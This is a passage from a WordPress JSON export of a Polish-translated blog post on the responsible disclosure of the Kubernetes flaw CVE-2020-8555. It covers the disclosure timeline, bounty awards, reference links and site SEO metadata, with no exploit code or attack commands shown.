r.: dostarczyli\u015bmy programistom Kubernetes raporty techniczne i og\u00f3lne na ich pro\u015bb\u0119 (poprzez platform\u0119 HackerOne).<\/li>\n<li> 15 stycznia 2020 r.: programi\u015bci Kubernetes poinformowali nas, \u017ce half-blind SSRF + wstrzykni\u0119cie CRLF dla poprzednich wyda\u0144 uwa\u017cane jest za podatno\u015b\u0107 in-core. Od razu przerwali\u015bmy analiz\u0119 perymetr\u00f3w innych dostawc\u00f3w us\u0142ug: przyczyn\u0105 teraz zajmowa\u0142a si\u0119 dru\u017cyna K8s.<\/li>\n<li> 15 stycznia 2020 r.: otrzymano nagrod\u0119 od MSRC przez HackerOne.<\/li>\n<li> 16 stycznia 2020 r.: Kubernetes PSC (Product Security Committee) uzna\u0142 podatno\u015b\u0107 i poprosi\u0142 o zachowanie jej w tajemnicy do po\u0142owy marca z powodu du\u017cej liczby potencjalnych ofiar.<\/li>\n<li> 11 lutego 2020 r.: otrzymano nagrod\u0119 od Google VRP.<\/li>\n<li> 4 marca 2020 r.: otrzymano nagrod\u0119 od Kubernetes przez HackerOne.<\/li>\n<li> 15 marca 2020 r.: pierwotnie planowane publiczne ujawnienie zosta\u0142o op\u00f3\u017anione z powodu sytuacji zwi\u0105zanej z COVID-19.<\/li>\n<li> 1 czerwca 2020 r.: wsp\u00f3lne o\u015bwiadczenie Kubernetes + Microsoft o podatno\u015bci.<\/li>\n<\/ul>\n<p><\/p>\n<h2>TL;DR<\/h2>\n<p><\/p>\n<ul>\n<li> Pijemy piwo i jemy pizz\u0119 \ud83d\ude42<\/li>\n<li> Odkryli\u015bmy podatno\u015b\u0107 in-core w Kubernetes, chocia\u017c wcale nie planowali\u015bmy tego robi\u0107.<\/li>\n<li> Przeprowadzili\u015bmy dodatkow\u0105 analiz\u0119 w klastrach r\u00f3\u017cnych dostawc\u00f3w chmurowych i uda\u0142o nam si\u0119 zwi\u0119kszy\u0107 szkody spowodowane podatno\u015bci\u0105, aby uzyska\u0107 dodatkowe niesamowite bonusy.<\/li>\n<li> W tym artykule znajdziesz wiele technicznych szczeg\u00f3\u0142\u00f3w. Ch\u0119tnie om\u00f3wimy je z tob\u0105 (Twitter: <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/reeverzax\">@ReeverZax<\/a><\/noindex> &amp; <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/__hach_\">@__hach_<\/a><\/noindex>).<\/li>\n<li> Okaza\u0142o si\u0119, \u017ce wszelkie formalno\u015bci i sporz\u0105dzanie raport\u00f3w zajmuj\u0105 znacznie wi\u0119cej czasu, ni\u017c si\u0119 spodziewano.<\/li>\n<\/ul>\n<p><\/p>\n<h2>Linki<\/h2>\n<p><\/p>\n<ul>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/groups.google.com\/g\/kubernetes-security-announce\">Grupa Google kubernetes-security-announce<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-8555\">CVE-2020-8555<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/golang\/go\/issues\/30794\">golang issue #30794<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/heketi\/heketi\/blob\/6a1ff1a6176e6566894d30ecc714d0643301558d\/client\/api\/go-client\/volume.go#L34\">heketi\/client\/api\/go-client\/volume.go<\/a><\/noindex>.<\/li>\n<\/ul>\n<p><\/p>\n<h2>P.S. od t\u0142umacza<\/h2>\n<p>\nPrzeczytaj tak\u017ce na naszym blogu:<\/p>\n<ul>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/485838\/\">Polowanie na b\u0142\u0119dy w Kubernetes oficjalnie otwarte<\/a><\/noindex>\u00bb;<\/li>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/466625\/\">Wyj\u015bcie poza pod w Kubernetes poprzez montowanie log\u00f3w<\/a><\/noindex>\u00bb;<\/li>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/465141\/\">33+ narz\u0119dzi do zabezpiecze\u0144 Kubernetes<\/a><\/noindex>\u00bb.<\/li>\n<\/ul>\n<p>\u0179r\u00f3d\u0142o: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/508308\/\">habr.com<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u041f\u0440\u0438\u043c. \u043f\u0435\u0440\u0435\u0432.: \u0430\u0432\u0442\u043e\u0440\u044b \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438 \u0432 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u0445 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2020\u20138555 \u0432 Kubernetes. \u0425\u043e\u0442\u044f \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043e\u043d\u0430 \u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0439, \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0444\u0430\u043a\u0442\u043e\u0440\u0430\u043c\u0438 \u0435\u0451 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c \u0443 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439. \u0417\u0430 \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0449\u0435\u0434\u0440\u043e \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0434\u0438\u043b\u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439. \u041a\u0442\u043e \u043c\u044b \u0442\u0430\u043a\u0438\u0435 \u041c\u044b \u2014 \u0434\u0432\u0430 \u0444\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u0438\u0445 [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":86624,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[688],"tags":[],"class_list":["post-86623","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-administrirovanie"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.1.1 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/pl\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes\" \/>\n\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.1.1\" \/>\n\t\t<meta property=\"og:locale\" content=\"pl_PL\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u041a\u043e\u0433\u0434\u0430 \u0434\u0435\u043b\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Kubernetes\u2026 | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/pl\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2020-06-27T17:42:40+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2020-06-27T17:42:40+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47 Kiedy nie tylko chodzi o podatno\u015b\u0107 w Kubernetes\u2026 | ProHoster","description":"Przyk\u0142.","canonical_url":"https:\/\/prohoster.info\/pl\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"pl_PL","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041a\u043e\u0433\u0434\u0430 \u0434\u0435\u043b\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Kubernetes\u2026 | ProHoster","og:description":"\u041f\u0440\u0438\u043c.","og:url":"https:\/\/prohoster.info\/pl\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2020-06-27T17:42:40+00:00","article:modified_time":"2020-06-27T17:42:40+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"86623","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-02-28 14:11:05","updated":"2022-09-28 21:18:58","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/posts\/86623","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/comments?post=86623"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/posts\/86623\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/media\/86624"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/media?parent=86623"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/categories?post=86623"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/tags?post=86623"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}